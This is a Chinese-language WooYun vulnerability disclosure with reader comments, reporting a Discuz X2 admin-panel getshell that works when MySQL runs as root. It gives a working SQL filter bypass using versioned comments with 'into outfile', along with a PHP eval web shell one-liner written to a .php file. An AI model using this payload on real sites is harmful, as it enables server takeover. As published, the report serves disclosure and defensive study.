Discuz X2 后台getshell(当mysql为root时)

漏洞概要

缺陷编号:WooYun-2012-016134

漏洞标题:Discuz X2 后台getshell(当mysql为root时)

相关厂商:Discuz!

漏洞作者:卖切糕的

提交时间:2012-12-17 13:05

公开时间:2013-01-31 13:05

漏洞类型:命令执行

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2012-12-17: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-20: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2013-02-10: 细节向核心白帽子及相关领域专家公开
2013-02-20: 细节向普通白帽子公开
2013-03-02: 细节向实习白帽子公开
2013-01-31: 细节向公众公开

简要描述:

危险语句过滤,可以绕过

详细说明:

最近帮朋友看了一个站,DZx2的,拿到了创始人都没办法getshell百度无果,自己本地架设了一下1,当mysql是root时站长---数据库---升级尝试select '1' into outfile 'E:\2.txt'会提示[Type] 查询语句安全威胁[Query] select '1' into outfile 'E:\2.txt'为什么会这样呢?\config\config_global.php中限制了into outfile函数尝试绕过/*!select*/ '1' /*!into outfile*/ 'E:\3.txt'Discuz! 数据结构升级成功,影响的记录行数 1如果要导出一句话,即/*!select*/ '<?php @eval($_POST[cmd]);?>' /*!into outfile*/ 'E:\3.php'注意:一句话密码不要有引号

漏洞证明:

如上

修复方案:

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2012-12-17 14:04

厂商回复:

感谢您提出的问题

最新状态:

暂无

评价

  1. 2010-01-01 00:00 momo 白帽子 | Rank:80 漏洞数:16)

    黄金万两不及切糕一块。

  2. 2010-01-01 00:00 木易耳朵 白帽子 | Rank:31 漏洞数:3)

    web跟打他分离可以么?

  3. 2010-01-01 00:00 木易耳朵 白帽子 | Rank:31 漏洞数:3)

    web跟data分离

  4. 2010-01-01 00:00 momo 白帽子 | Rank:80 漏洞数:16)

    耶稣的马甲,法克。

  5. 2010-01-01 00:00 momo 白帽子 | Rank:80 漏洞数:16)

    这个算sql语句执行时过滤的函数没有过滤完全。

  6. 2010-01-01 00:00 momo 白帽子 | Rank:80 漏洞数:16)

    @木易耳朵 都可以的,需要知道web的路径。找找以前的dz爆的路径就可以。

  7. 2010-01-01 00:00 gainover 白帽子 | Rank:1331 漏洞数:97)

    x2.5可以么?

  8. 2010-01-01 00:00 momo 白帽子 | Rank:80 漏洞数:16)

    @gainover 都可以的。详细地址:http://www.******.com/0day/Discuz_X****.txt

  9. 2010-01-01 00:00 蓝风 白帽子 | Rank:125 漏洞数:24)

    人有黄金万两 我有切糕一刀

  10. 2010-01-01 00:00 卖切糕的 白帽子 | Rank:5 漏洞数:1)

    @gainover 你的xss扫描器运行今天打不开了,你更新下吧

  11. 2010-01-01 00:00 木易耳朵 白帽子 | Rank:31 漏洞数:3)

    @momo 你发的链接被马赛克了。

  12. 2010-01-01 00:00 y35u 白帽子 | Rank:245 漏洞数:32)

    楼主好厉害

  13. 2010-01-01 00:00 VIP 白帽子 | Rank:744 漏洞数:85)

    http://www.3hack.com/0day/Discuz_X2_%E5%90%8E%E5%8F%B0getshell.txt 是这个不?

  14. 2010-01-01 00:00 木易耳朵 白帽子 | Rank:31 漏洞数:3)

    @momo 这个明显是把shell导出到mysql服务器了吧。web跟data分离这个应该是不能用。

  15. 2010-01-01 00:00 possible 白帽子 | Rank:296 漏洞数:31)

    这个还是挺通用的 很多cms都可以执行sql

  16. 2010-01-01 00:00 boyyzz 白帽子 | Rank:25 漏洞数:4)

    不是原创,网上早有了